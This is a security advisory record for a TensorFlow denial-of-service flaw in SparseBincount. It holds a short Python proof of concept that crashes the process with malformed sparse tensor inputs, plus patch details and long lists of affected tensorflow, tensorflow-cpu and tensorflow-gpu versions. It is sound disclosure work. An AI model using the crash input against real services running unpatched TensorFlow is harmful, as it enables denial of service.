GHSA-397c-5g2j-qxpv

Source

https://github.com/advisories/GHSA-397c-5g2j-qxpv

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-397c-5g2j-qxpv/GHSA-397c-5g2j-qxpv.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-397c-5g2j-qxpv

Aliases

Published

2022-09-16T22:27:28Z

Modified

2023-12-06T00:47:24.786425Z

Severity

5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator

Summary

TensorFlow vulnerable to segfault in `SparseBincount`

Details

Impact

If SparseBincount is given inputs for indices, values, and dense_shape that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf
binary_output = True
indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)
dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)

Patches

We have patched the issue in GitHub commit 40adbe4dd15b582b0210dfbf40c243a62f5119fa.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

Database specific

{
    "nvd_published_at": "2022-09-16T22:15:00Z",
    "github_reviewed_at": "2022-09-16T22:27:28Z",
    "severity": "MODERATE",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-20"
    ]
}

References

Affected packages

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.7.2

Affected versions

0.*

0.12.0

0.12.1

1.*

1.0.0

1.0.1

1.1.0

1.2.0

1.2.1

1.3.0

1.4.0

1.4.1

1.5.0

1.5.1

1.6.0

1.7.0

1.7.1

1.8.0

1.9.0

1.10.0

1.10.1

1.11.0

1.12.0

1.12.2

1.12.3

1.13.1

1.13.2

1.14.0

1.15.0

1.15.2

1.15.3

1.15.4

1.15.5

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

2.3.4

2.4.0

2.4.1

2.4.2

2.4.3

2.4.4

2.5.0

2.5.1

2.5.2

2.5.3

2.6.0rc0

2.6.0rc1

2.6.0rc2

2.6.0

2.6.1

2.6.2

2.6.3

2.6.4

2.6.5

2.7.0rc0

2.7.0rc1

2.7.0

2.7.1

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.8.0

Fixed

2.8.1

Affected versions

2.*

2.8.0

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.9.0

Fixed

2.9.1

Affected versions

2.*

2.9.0

PyPI / tensorflow-cpu

Package

Name: tensorflow-cpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-cpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.7.2

Affected versions

1.*

1.15.0

2.*

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

2.3.4

2.4.0

2.4.1

2.4.2

2.4.3

2.4.4

2.5.0

2.5.1

2.5.2

2.5.3

2.6.0

2.6.1

2.6.2

2.6.3

2.6.4

2.6.5

2.7.0

2.7.1

PyPI / tensorflow-cpu

Package

Name: tensorflow-cpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-cpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.8.0

Fixed

2.8.1

Affected versions

2.*

2.8.0

PyPI / tensorflow-cpu

Package

Name: tensorflow-cpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-cpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.9.0

Fixed

2.9.1

Affected versions

2.*

2.9.0

PyPI / tensorflow-gpu

Package

Name: tensorflow-gpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-gpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.7.2

Affected versions

0.*

0.12.0

0.12.1

1.*

1.0.0

1.0.1

1.1.0

1.2.0

1.2.1

1.3.0

1.4.0

1.4.1

1.5.0

1.5.1

1.6.0

1.7.0

1.7.1

1.8.0

1.9.0

1.10.0

1.10.1

1.11.0

1.12.0

1.12.2

1.12.3

1.13.1

1.13.2

1.14.0

1.15.0

1.15.2

1.15.3

1.15.4

1.15.5

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

2.3.4

2.4.0

2.4.1

2.4.2

2.4.3

2.4.4

2.5.0

2.5.1

2.5.2

2.5.3

2.6.0

2.6.1

2.6.2

2.6.3

2.6.4

2.6.5

2.7.0rc0

2.7.0rc1

2.7.0

2.7.1

PyPI / tensorflow-gpu

Package

Name: tensorflow-gpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-gpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.8.0

Fixed

2.8.1

Affected versions

2.*

2.8.0

PyPI / tensorflow-gpu

Package

Name: tensorflow-gpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-gpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.9.0

Fixed

2.9.1

Affected versions

2.*

2.9.0